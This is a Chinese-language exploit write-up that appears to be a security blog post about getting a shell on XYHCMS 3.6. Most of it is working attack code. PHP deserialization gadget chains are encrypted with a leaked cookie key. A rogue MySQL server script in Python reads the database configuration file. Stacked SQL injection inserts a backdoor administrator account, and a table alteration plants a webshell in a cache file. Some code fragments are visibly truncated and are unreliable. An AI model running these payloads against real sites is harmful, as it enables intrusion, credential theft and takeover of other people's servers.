xyhcms getshell
下载xyhcms3.6.2021版本并用phpstudy搭建
function get_cookie($name, $key = '') {
if (!isset($_COOKIE[$name])) {
return null;
}
$key = empty($key) ? C('CFG_COOKIE_ENCODE') : $key;
$value = $_COOKIE[$name];
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($value);
return unserialize($value);
}
这里将cookie name传过来的值进行了一个解密在反序列化,
它这里会有一个随机key存放在App\Runtime\Data\668ff60dbc75e51592f9c46b573cd3eb_config目录下的site.php其中668ff60dbc75e51592f9c46b573cd3eb_config是随机生成的目录不可拆解
a:78:{s:11:"CFG_WEBNAME";s:12:"我的网站";s:10:"CFG_WEBURL";s:21:"http://www.xyhcms.com";s:12:"CFG_WEBTITLE";s:12:"我的网站";s:12:"CFG_KEYWORDS";s:12:"我的网站";s:15:"CFG_DESCRIPTION";s:0:"";s:14:"CFG_THEMESTYLE";s:7:"default";s:17:"CFG_COOKIE_ENCODE";s:9:"UQAz3abDl";s:11:"CFG_POWERBY";s:0:"";s:9:"CFG_STATS";s:0:"";s:9:"CFG_BEIAN";s:0:"";s:11:"CFG_ADDRESS";s:15:"昆明北京路";s:9:"CFG_PHONE";s:10:"0871-66666";s:17:"CFG_WEBSITE_CLOSE";b:0;s:22:"CFG_WEBSITE_CLOSE_INFO";s:36:"站点维护中，请稍等一会...";s:15:"CFG_MOBILE_AUTO";b:1;s:14:"CFG_EMAIL_FROM";s:12:"[email protected]";s:19:"CFG_EMAIL_FROM_NAME";s:6:"站名";s:14:"CFG_EMAIL_HOST";s:18:"smtp.exmail.qq.com";s:14:"CFG_EMAIL_PORT";i:25;s:19:"CFG_EMAIL_LOGINNAME";s:12:"[email protected]";s:18:"CFG_EMAIL_PASSWORD";s:10:"123zstQhz4";s:11:"CFG_BADWORD";s:35:"艾滋病|中国共产党|111111111";s:18:"CFG_FEEDBACK_GUEST";b:1;s:15:"CFG_MEMBER_OPEN";b:1;s:22:"CFG_MEMBER_VERIFYEMAIL";b:0;s:19:"CFG_MEMBER_NOTALLOW";s:54:"www,bbs,ftp,mail,user,users,admin,administrator,xyhcms";s:18:"CFG_UPLOAD_MAXSIZE";i:2048;s:17:"CFG_IMGTHUMB_SIZE";a:2:{i:0;s:7:"300X300";i:1;s:5:"600X0";}s:17:"CFG_IMGTHUMB_TYPE";b:0;s:18:"CFG_CLICK_NUM_INIT";i:0;s:19:"CFG_UPLOAD_ROOTPATH";s:10:"./uploads/";s:19:"CFG_UPLOAD_FILE_EXT";s:49:"jpg,gif,png,jpeg,txt,doc,docx,xls,ppt,zip,rar,mp3";s:18:"CFG_UPLOAD_IMG_EXT";s:16:"jpg,gif,png,jpeg";s:19:"CFG_VERIFY_REGISTER";b:0;s:16:"CFG_VERIFY_LOGIN";b:0;s:20:"CFG_VERIFY_GUESTBOOK";b:1;s:17:"CFG_VERIFY_REVIEW";b:1;s:16:"CFG_SQL_FILESIZE";i:5242880;s:17:"CFG_DOWNLOAD_HIDE";b:1;s:21:"CFG_MOBILE_THEMESTYLE";s:7:"default";s:14:"HOME_URL_MODEL";i:3;s:22:"HOME_URL_PATHINFO_DEPR";s:1:"/";s:18:"HOME_URL_ROUTER_ON";b:0;s:20:"HOME_URL_ROUTE_RULES";a:6:{s:7:"Mobile$";s:18:"Mobile/Index/index";s:13:"Special/:id\d";s:13:"Special/shows";s:12:"Tag/:tname\w";s:9:"Tag/shows";s:9:":e/p/:p\d";s:10:"List/index";s:8:":e/:id\d";s:10:"Show/index";s:9:"/^(\w+)$/";s:15:"List/index?e=:1";}s:18:"HOME_HTML_CACHE_ON";b:0;s:20:"MOBILE_HTML_CACHE_ON";b:0;s:19:"HTML_CACHE_INDEX_ON";b:1;s:21:"HTML_CACHE_INDEX_TIME";i:1200;s:18:"HTML_CACHE_LIST_ON";b:1;s:20:"HTML_CACHE_LIST_TIME";i:0;s:18:"HTML_CACHE_SHOW_ON";b:1;s:20:"HTML_CACHE_SHOW_TIME";i:0;s:21:"HTML_CACHE_SPECIAL_ON";b:0;s:23:"HTML_CACHE_SPECIAL_TIME";i:0;s:15:"ONLINE_CFG_MODE";b:1;s:16:"ONLINE_CFG_STYLE";s:4:"blue";s:12:"ONLINE_CFG_H";i:1;s:19:"ONLINE_CFG_H_MARGIN";i:0;s:12:"ONLINE_CFG_V";i:2;s:19:"ONLINE_CFG_V_MARGIN";i:0;s:13:"ONLINE_CFG_QQ";a:2:{s:12:"销售咨询";s:9:"307299635";s:12:"售后服务";s:9:"307299635";}s:19:"ONLINE_CFG_WANGWANG";a:1:{s:12:"在线旺旺";s:5:"7bucn";}s:19:"ONLINE_CFG_PHONE_ON";b:1;s:16:"ONLINE_CFG_PHONE";a:2:{s:12:"销售热线";s:7:"6525411";s:12:"技术支持";s:7:"6525412";}s:23:"ONLINE_CFG_GUESTBOOK_ON";s:1:"1";s:19:"ONLINE_CFG_QQ_PARAM";s:166:"" href="http://wpa.qq.com/msgrd?v=3&uin=[客服号]&site=qq&menu=yes" class="xyh-online-item"> [客服说明]";s:25:"ONLINE_CFG_WANGWANG_PARAM";s:209:" [客服说明]";s:18:"CFG_IMAGE_WATER_ON";b:0;s:20:"CFG_IMAGE_WATER_FILE";s:27:"/Data/static/picture/sy.png";s:24:"CFG_IMAGE_WATER_POSITION";i:9;s:27:"CFG_IMAGE_WATER_DIAPHANEITY";i:100;s:28:"CFG_IMAGE_WATER_IGNORE_WIDTH";s:3:"300";s:18:"CODE_SEND_INTERVAL";i:120;s:16:"CODE_SEND_EXPIRE";i:300;s:26:"ACTIVATE_SEND_EMAIL_EXPIRE";i:172800;s:11:"SMS_SDK_ALI";a:4:{s:7:"APP_KEY";s:23:"阿里短信AccessKeyID";s:10:"APP_SECRET";s:27:"阿里短信AccessKeySecret";s:9:"SIGN_NAME";s:12:"短信签名";s:8:"SEND_URL";s:29:"https://dysmsapi.aliyuncs.com";}s:14:"SMS_SDK_TPL_ID";a:4:{s:11:"com_code1_1";s:29:"阿里短信模版通用CODE1";s:11:"reg_code1_1";s:29:"阿里短信模版注册CODE2";s:13:"login_code1_1";s:29:"阿里短信模版登录CODE3";s:14:"getpwd_code1_1";s:35:"阿里短信模版找回密码CODE4";}s:23:"HTML_CACHE_RULES_COMMON";a:3:{s:11:"index:index";a:2:{i:0;s:36:"{:module}/Index_{:action}_{p|intval}";i:1;i:1200;}s:10:"list:index";a:2:{i:0;s:51:"{:module}/List/{:action}_{e}{cid|intval}_{p|intval}";i:1;i:0;}s:10:"show:index";a:2:{i:0;s:52:"{:module}/Show/{:action}_{e}{cid|intval}_{id|intval}";i:1;i:0;}}}
可以看到key为UQAz3abDl
测试加解密
class SysCrypt {
private $crypt_key;
// 构造函数
public function __construct($crypt_key) {
$this -> crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this -> crypt_key));
}
public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this -> crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
public function __destruct() {
$this -> crypt_key = null;
}
}
/**
* 得到指定cookie的值
*
* @param string $name
*/
//function get_cookie($name, $key = '@^%$y5fbl') {
function get_cookie($name, $key = '') {
$key ='UQAz3abDl';
$value = $name;
$key = md5($key);
$sc = new SysCrypt($key);
$value = $sc->php_decrypt($value);
return unserialize($value);
}
/**
* 设置cookie
*
* @param array $args
* @return boolean
*/
//使用时修改密钥$key 涉及金额结算请重新设计cookie存储格式
//function set_cookie($args , $key = '@^%$y5fbl') {
function set_cookie($args, $key = '') {
$key ='UQAz3abDl';
$value = serialize($args);
$key = md5($key);
$sc = new SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
//setcookie($cookieName ,$cookie, time()+3600,'/','',false);
// return setcookie($name, $value, $expire, $path, $domain, $secure);
}
//测试加密
echo set_cookie('moonsec');
//测试解密
echo get_cookie('VCIBaVM2CmoGIQY/U2pXOQhvCXAFYAI3BnABMg==');
?>
反序列exp读取数据库配置文件
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
protected $config = array(
"dsn" => "mysql:host=192.168.0.168;dbname=xyhcms;port=3307",
"username" => "root",
"password" => "root"
);
}
namespace Think;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new \Think\Db\Driver\Mysql();
$this->options['where'] = '';
$this->pk = 'luoke';
$this->data[$this->pk] = array(
"table" => "xyh_admin_log",
"where" => "id=0"
);
}
}
namespace Think\Session\Driver;
class Memcache{
protected $handle;
public function __construct() {
$this->handle = new \Think\Model();
}
}
namespace Think\Image\Driver;
class Imagick{
private $img;
public function __construct() {
$this->img = new \Think\Session\Driver\Memcache();
}
}
namespace Common\Lib;
class SysCrypt{
private $crypt_key;
public function __construct($crypt_key) {
$this -> crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this -> crypt_key));
}
public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this -> crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
public function __destruct() {
$this -> crypt_key = null;
}
}
function get_cookie($name, $key = '') {
$key = 'P4tzizR6d';
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($name);
return unserialize($value);
}
function set_cookie($args, $key = '') {
$key = 'P4tzizR6d';
$value = serialize($args);
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
}
$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);
利用恶意mysql读取数据库配置文件
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)
filelist = (
#'/etc/passwd',
#'/www/wwwroot/www.xycms.com/App/Common/Conf/db.php',
'D:/phpstudy_pro/WWW/www.xyhcms.com/App/Common/Conf/db.php',
)
#================================================
#=======No need to change after this lines=======
#================================================
__author__ = 'Gifts'
def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)
class LastPacket(Exception):
pass
class OutOfOrder(Exception):
pass
class mysql_packet(object):
packet_header = struct.Struct(')
packet_header_long = struct.Struct(')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)
if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)
def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
# daemonize()
asyncore.loop()
python直接运行连接端口为3306
在登录之后将密文填到nickname里面就能反序列化了
添加管理员用户
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
protected $config = array(
"dsn" => "mysql:host=127.0.0.1;dbname=xyhcms;port=3306",
"username" => "root",
"password" => "123456"
);
}
namespace Think;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new \Think\Db\Driver\Mysql();
$this->options['where'] = '';
$this->pk = 'luoke';
$this->data[$this->pk] = array(
"table" => "xyh_admin_log",
"where" => "id=0;insert into www_xycms_com.xyh_admin
(id,username,password,encrypt,user_type,is_lock,login_num) VALUES
(null,'test','88bf2f72156e8e2accc2215f7a982a83','sggFkZ',9,0,4);"
);
/**test/123456**/
}
}
namespace Think\Session\Driver;
class Memcache{
protected $handle;
public function __construct() {
$this->handle = new \Think\Model();
}
}
namespace Think\Image\Driver;
class Imagick{
private $img;
public function __construct() {
$this->img = new \Think\Session\Driver\Memcache();
}
}
namespace Common\Lib;
class SysCrypt{
private $crypt_key;
public function __construct($crypt_key) {
$this -> crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i crypt_key));
}
public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this -> crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
public function __destruct() {
$this -> crypt_key = null;
}
}
function get_cookie($name, $key = '') {
$key = 'UQAz3abDl';
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($name);
return unserialize($value);
}
function set_cookie($args, $key = '') {
$key = 'UQAz3abDl';
$value = serialize($args);
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
}
$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);
成功添加用户
后台getshell
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
protected $config = array(
"dsn" => "mysql:host=127.0.0.1;dbname=xyhcms;port=3306",
"username" => "root",
"password" => "123456"
);
}
namespace Think;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new \Think\Db\Driver\Mysql();
$this->options['where'] = '';
$this->pk = 'luoke';
$this->data[$this->pk] = array(
"table" => "xyh_admin_log",
"where" => "id=0; alter table xyh_guestbook add column `` varchar(10);",
);
}
}
namespace Think\Session\Driver;
class Memcache{
protected $handle;
public function __construct() {
$this->handle = new \Think\Model();
}
}
namespace Think\Image\Driver;
class Imagick{
private $img;
public function __construct() {
$this->img = new \Think\Session\Driver\Memcache();
}
}
namespace Common\Lib;
class SysCrypt{
private $crypt_key;
public function __construct($crypt_key) {
$this -> crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this -> crypt_key));
}
public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this -> crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
public function __destruct() {
$this -> crypt_key = null;
}
}
function get_cookie($name, $key = '') {
$key = 'UQAz3abDl';
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($name);
return unserialize($value);
}
function set_cookie($args, $key = '') {
$key = 'UQAz3abDl';
$value = serialize($args);
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
}
$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);
?>
在后台清理缓存 访问 http://192.168.0.160//index.php?s=/Guestbook/index.html生成缓存再访问
终于进来了。
在后台清理缓存 访问 http://192.168.0.160//index.php?s=/Guestbook/index.html生成缓存再访问
http://192.168.0.160/App/Runtime/Data/3277c100b8afcccfb950d28a6ff7113c__fields/w
ww_xycms_com.xyh_guestbook.php